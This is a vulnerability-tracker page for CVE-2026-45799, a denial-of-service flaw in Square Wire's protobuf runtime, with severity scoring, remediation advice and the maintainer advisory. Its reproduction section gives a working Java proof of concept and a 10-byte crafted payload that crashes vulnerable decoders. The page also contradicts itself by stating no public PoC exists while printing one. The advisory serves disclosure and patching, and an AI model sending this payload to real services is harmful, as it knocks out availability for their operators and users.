Skip to main content

Square Wire CVE-2026-45799

| EUVDEUVD-2026-45301 HIGH
Improper Validation of Array Index (CWE-129)
2026-05-19 https://github.com/square/wire GHSA-7xpr-hc2w-34m9
7.5
CVSS 3.1 · Vendor: https://github.com/square/wire
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify endpoint decoding protobuf with Wire
  2. Delivery
    Send 10-byte crafted START_GROUP payload
  3. Exploit
    Trigger negative-length skip in skipGroup()
  4. Install
    Position underflows to negative index
  5. C2
    readByte() throws ArrayIndexOutOfBoundsException
  6. Execute
    Unchecked exception escapes IOException handler
  7. Impact
    Request handler or service crashes

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Array index validation
Exploitation Conditions

The target service must decode protobuf payloads from untrusted sources using com.squareup.wire:wire-runtime <= 6.2.0, com.squareup.wire:wire-runtime-jvm <= 5.3.3, or Wire 7.0.0-alpha01/alpha02, AND must invoke ProtoAdapter.decode() (or equivalent ProtoReader path) on attacker-controllable bytes. No authentication, no user interaction, and no knowledge of the service's protobuf schema are required because skipGroup() processes unknown wire-type-3 fields (e.g., field 99 with START_GROUP) regardless of the declared message type. The primary limiting factor is application-level exception handling: services that already catch broad RuntimeException (rather than only the documented IOException) around decode calls will surface a handled error rather than crash, reducing impact to a single failed request. Exposure is limited to JVM/Android consumers of Square Wire - non-Wire protobuf implementations (Google protobuf-java, protobuf-kotlin, etc.) are not affected.

Impact

CVSS 7.5 with vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H accurately reflects a high-impact availability-only flaw: network-reachable, no authentication, no user interaction, and complete loss of availability for the affected handler. The Denial Of Service tag and CIA breakdown (C:N/I:N/A:H) confirm this is not RCE or data exposure. Real-world impact depends entirely on whether the affected service exposes a protobuf decoder to untrusted input - a common pattern in gRPC backends, mobile API endpoints, and message brokers. No EPSS score, KEV listing, or SSVC decision was provided in the input data, so widespread exploitation cannot be confirmed; however, the 10-byte payload, no auth/schema requirements, and published reproduction in the GHSA advisory make weaponization trivial for any motivated attacker. The most significant under-stated risk is the legacy artifact com.squareup.wire:wire-runtime-jvm (5.3.1, 5.3.3) which will NOT receive a patch - organizations pinned to that coordinate carry permanent exposure unless they migrate.

Exploit ScenarioDerived

An attacker sends the 10-byte payload 9b060a80ffffff0f9c06 to any network endpoint that decodes protobuf using a vulnerable Wire runtime - for example a gRPC service, a mobile API backend, or a Kafka consumer. Because skipGroup() handles unknown fields without consulting the message schema, the payload crashes the decode call with an unchecked ArrayIndexOutOfBoundsException regardless of the expected message type, propagating up through the request handler. Repeated sends from a single source can keep the handler thread or service crash-looping; the GitHub advisory provides a working Java PoC (WirePoc.java) demonstrating the crash against wire-runtime-jvm 5.3.3.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 19, 2026

Denial of service in Square Wire protobuf library (com.squareup.wire:wire-runtime before 6.3.0) allows remote unauthenticated attackers to crash any service that decodes untrusted protobuf payloads by sending a 10-byte crafted message. The flaw stems from missing negative-length validation in skipGroup(), causing an unchecked ArrayIndexOutOfBoundsException to escape Wire's documented IOException boundary. No public exploit identified at time of analysis, though the GitHub advisory includes a full reproduction payload and Java PoC code.

RemediationAI

Vendor-released patch: upgrade com.squareup.wire:wire-runtime to 6.3.0 or later, which adds the missing negative-length check in both ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() (see PRs https://github.com/square/wire/pull/3595 and https://github.com/square/wire/pull/3597). For Wire 7 alpha users, upgrade to 7.0.0-alpha03 once available or build from a master commit containing the fix. Users still on the discontinued com.squareup.wire:wire-runtime-jvm (including 5.3.1 and 5.3.3) must migrate coordinate to com.squareup.wire:wire-runtime:6.3.0 since no backport will be issued. As a compensating control until upgrade, wrap ProtoAdapter.decode() calls in a broader catch block for RuntimeException (not just IOException) to convert crashes into handled errors, accepting the trade-off that this masks other genuine runtime bugs; alternatively restrict protobuf decoding endpoints to authenticated peers or place a size/shape-validating proxy in front of decoders to reject payloads containing unknown group fields, at the cost of breaking legitimate forward-compatibility use of unknown fields.

Affected VersionsENISA

Wire < 6.3.0
Wire 7.0.0-alpha01, < 7.0.0-alpha03

Affected Packages

maven com.squareup.wire:wire-runtime fix: 6.3.0, 7.0.0-alpha03
maven com.squareup.wire:wire-runtime-jvm fix: 6.3.0, 7.0.0-alpha03
euvd wire fix: 6.3.0
euvd wire_7_0_0_alpha01 fix: 7.0.0-alpha03

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 4 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Wire is Square's Kotlin/Java protocol buffers library widely used for gRPC and protobuf-based service communication on JVM and Android. The root cause is CWE-129 (Improper Validation of Array Index): ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup() read a length-delimited field's length as a signed Int via internalReadVarint32() without checking for negative values before calling skip(). A crafted varint encoding -128 (bytes 0x80 0xFF 0xFF 0xFF 0x0F) causes the internal position counter to underflow (e.g., pos = 7 + (-128) = -121), and the subsequent readByte() indexes the backing array with the negative position, throwing ArrayIndexOutOfBoundsException - a RuntimeException not caught by callers following the documented IOException contract of ProtoAdapter.decode(). Wire already validated negative lengths on normal length-delimited field decoding; the same check was missing only in group-skipping logic. Because skipGroup() is invoked for any unknown field with wire type 3 (START_GROUP), exploitation requires no schema knowledge of the target message type.

Know when Java gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/square/wire) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/square/wire).

CVSS VectorVendor: https://github.com/square/wire

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

CVE-2026-45799

Maintainer summary

Wire's protobuf group-skipping logic did not reject negative lengths before skipping a length-delimited field inside a group. A crafted protobuf payload could cause Wire to throw an unchecked runtime exception during decoding instead of the documented IOException / ProtocolException failure path.

This can crash services that decode untrusted protobuf payloads and only handle Wire's documented checked decoding failures.

Affected artifacts

com.squareup.wire:wire-runtime

Affected versions: vulnerable releases before 6.3.0.

Patched versions: 6.3.0 and later.

Users should upgrade to com.squareup.wire:wire-runtime:6.3.0 or later.

com.squareup.wire:wire-runtime-jvm

Affected versions: vulnerable legacy releases, including 5.3.1 and 5.3.3.

Patched versions: none.

com.squareup.wire:wire-runtime-jvm is a discontinued legacy artifact and will not receive a patched release. Users should migrate to com.squareup.wire:wire-runtime:6.3.0 or later.

Wire 7 alpha releases

The fix has been merged to master and will be included in the next Wire 7 alpha release. Until that release is available, Wire 7 alpha users should avoid decoding untrusted protobuf payloads with affected alpha versions or build from a commit containing the fix.

Fix

The issue is fixed in Wire 6.3.0.

The fix rejects negative lengths while skipping groups and throws ProtocolException instead of allowing the reader to move to an invalid position and later throw an unchecked runtime exception.

Credit

Reported by @TrekLaps.

Technical details

The following technical details are based on the original report, updated by the maintainers to reflect the assigned CVE, the supported fixed artifact, and the discontinued status of com.squareup.wire:wire-runtime-jvm.

ByteArrayProtoReader32.skipGroup() in wire-runtime did not validate that a LENGTH_DELIMITED field's length is non-negative before calling skip(). A crafted protobuf varint encodes -128 as a signed Int. When skip(-128) runs, the internal position counter underflows to an invalid negative position. The next readByte() accesses the source with that negative position, throwing ArrayIndexOutOfBoundsException, a RuntimeException that escapes Wire's documented IOException boundary and can crash the request handler.

ProtoAdapter.decode(byte[]) is declared to throw IOException. Callers following the documented API may catch only IOException, so unchecked runtime exceptions from malformed input can escape the expected error boundary.

The originally confirmed vulnerable legacy versions include 5.3.1 and 5.3.3 for the discontinued com.squareup.wire:wire-runtime-jvm coordinate. The supported replacement coordinate is com.squareup.wire:wire-runtime, fixed in version 6.3.0.

Root cause

In the originally reported vulnerable code path, ByteArrayProtoReader32.skipGroup() read the length as a signed Int and used it without validating that it was non-negative:

kotlin
STATE_LENGTH_DELIMITED -> {
  val length = internalReadVarint32() // returns signed Int and can be negative
  skip(length)                        // no negative check
}

The internal skip() implementation then accepted the negative count because the computed position was not greater than the limit:

kotlin
private fun skip(byteCount: Int) {
  val newPos = pos + byteCount        // for example, 7 + (-128) = -121
  if (newPos > limit) throw EOFException()
  pos = newPos                        // pos = -121
}

The next read could then index the source with the invalid negative position:

kotlin
private fun readByte(): Byte {
  if (pos == limit) throw EOFException()
  return source[pos++]                // source[-121] throws ArrayIndexOutOfBoundsException
}

Wire already rejected negative lengths in normal length-delimited field decoding. The same validation was missing from group-skipping code.

The fix adds this validation when skipping groups:

kotlin
STATE_LENGTH_DELIMITED -> {
  val length = internalReadVarint32()
  if (length < 0) throw ProtocolException("Negative length: $length...")
  skip(length)
}

The fix was applied to both ByteArrayProtoReader32.skipGroup() and ProtoReader.skipGroup().

Reproduction

The following reproduction was provided for vulnerable legacy wire-runtime-jvm releases such as 5.3.1 and 5.3.3:

bash
curl -sL https://repo1.maven.org/maven2/com/squareup/wire/wire-runtime-jvm/5.3.3/wire-runtime-jvm-5.3.3.jar -o wire.jar
curl -sL https://repo1.maven.org/maven2/com/squareup/okio/okio-jvm/3.9.1/okio-jvm-3.9.1.jar -o okio.jar
curl -sL https://repo1.maven.org/maven2/org/jetbrains/kotlin/kotlin-stdlib/2.1.0/kotlin-stdlib-2.1.0.jar -o stdlib.jar
java
// WirePoc.java
import com.squareup.wire.AnyMessage;

public class WirePoc {
  public static void main(String[] args) throws Exception {
    byte[] payload = new byte[] {
      (byte) 0x9B, 0x06,                                          // field 99, START_GROUP
      0x0A,                                                       // field 1, LENGTH_DELIMITED
      (byte) 0x80, (byte) 0xFF, (byte) 0xFF, (byte) 0xFF, 0x0F,   // varint = -128
      (byte) 0x9C, 0x06                                           // field 99, END_GROUP
    };

    AnyMessage.ADAPTER.decode(payload);
  }
}
bash
javac -cp "wire.jar:okio.jar:stdlib.jar" WirePoc.java
java -cp ".:wire.jar:okio.jar:stdlib.jar" WirePoc

Observed output on vulnerable versions:

text
Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index -120 out of bounds for length 10
    at com.squareup.wire.ByteArrayProtoReader32.readByte(ByteArrayProtoReader32.kt:448)
    at com.squareup.wire.ByteArrayProtoReader32.internalReadVarint32(ByteArrayProtoReader32.kt:294)
    at com.squareup.wire.ByteArrayProtoReader32.skipGroup(ByteArrayProtoReader32.kt:209)
    at com.squareup.wire.ByteArrayProtoReader32.nextTag(ByteArrayProtoReader32.kt:156)
    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:150)
    at com.squareup.wire.AnyMessage$Companion$ADAPTER$1.decode(AnyMessage.kt:88)
    at com.squareup.wire.ProtoAdapter.decode(ProtoAdapter.kt:468)
    at WirePoc.main(WirePoc.java:10)

With the fix, the same payload is rejected with ProtocolException.

Why this can affect any Wire-decoding service

skipGroup() is called for any unknown field with wire type 3. An attacker can send an unknown field, such as field 99, with wire type START_GROUP. The decoder skips it via skipGroup() regardless of which message type the service uses, so no schema knowledge is required.

Payload:

text
9b060a80ffffff0f9c06

Payload breakdown:

text
0x9B 0x06                 field 99, wire type 3 (START_GROUP)
0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int
0x9C 0x06                 field 99, END_GROUP

Executive ViewAI

Why It Matters

Square Wire protobuf library (wire-runtime versions before 6.3.0) contains a remote denial-of-service vulnerability affecting any service that processes untrusted protocol buffer messages. An unauthenticated attacker can crash dependent services with a 10-byte crafted message, creating availability risk for applications relying on this widely-used parsing library.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 82% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy